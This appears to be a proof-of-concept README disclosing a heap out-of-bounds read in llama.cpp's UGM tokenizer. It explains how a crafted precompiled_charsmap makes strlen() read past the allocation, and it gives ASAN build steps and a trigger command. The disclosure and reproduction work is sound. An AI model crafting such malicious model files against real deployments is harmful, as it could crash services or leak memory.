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PoC: Heap OOB Read via strlen() on Non-Null-Terminated Charsmap Data

Target: llama.cpp (ggml-org/llama.cpp) File: src/llama-vocab.cpp:1129 CWE: CWE-125 (Out-of-bounds Read)

Vulnerability

The UGM tokenizer's normalize_prefix() function calls strlen() on charsmap replacement data without verifying a null terminator exists within the allocation. A crafted precompiled_charsmap fills the replacement region with non-null bytes, causing strlen() to read past the heap allocation boundary.

This is a distinct vulnerability from the undersized charsmap uint32_t dereference bug (line 809). This bug is at line 1129 and triggers during tokenization, not initialization.

Files

poc_charsmap_strlen.py — Generates the crafted GGUF file (661 bytes)
poc_charsmap_strlen.gguf — Pre-built PoC file
reproduce.sh — Full reproduction script (clone, build with ASAN, trigger)

Quick Reproduce

# Build llama.cpp with ASAN
git clone https://github.com/ggml-org/llama.cpp && cd llama.cpp
mkdir build && cd build
cmake .. -DCMAKE_BUILD_TYPE=Debug \
    -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
    -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer"
cmake --build . --target llama-tokenize -j$(nproc)

# Trigger
./bin/llama-tokenize -m /path/to/poc_charsmap_strlen.gguf -p $'\x0b'

Expected: AddressSanitizer: heap-buffer-overflow READ at llama-vocab.cpp:1129

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Total file size:

12.8 kB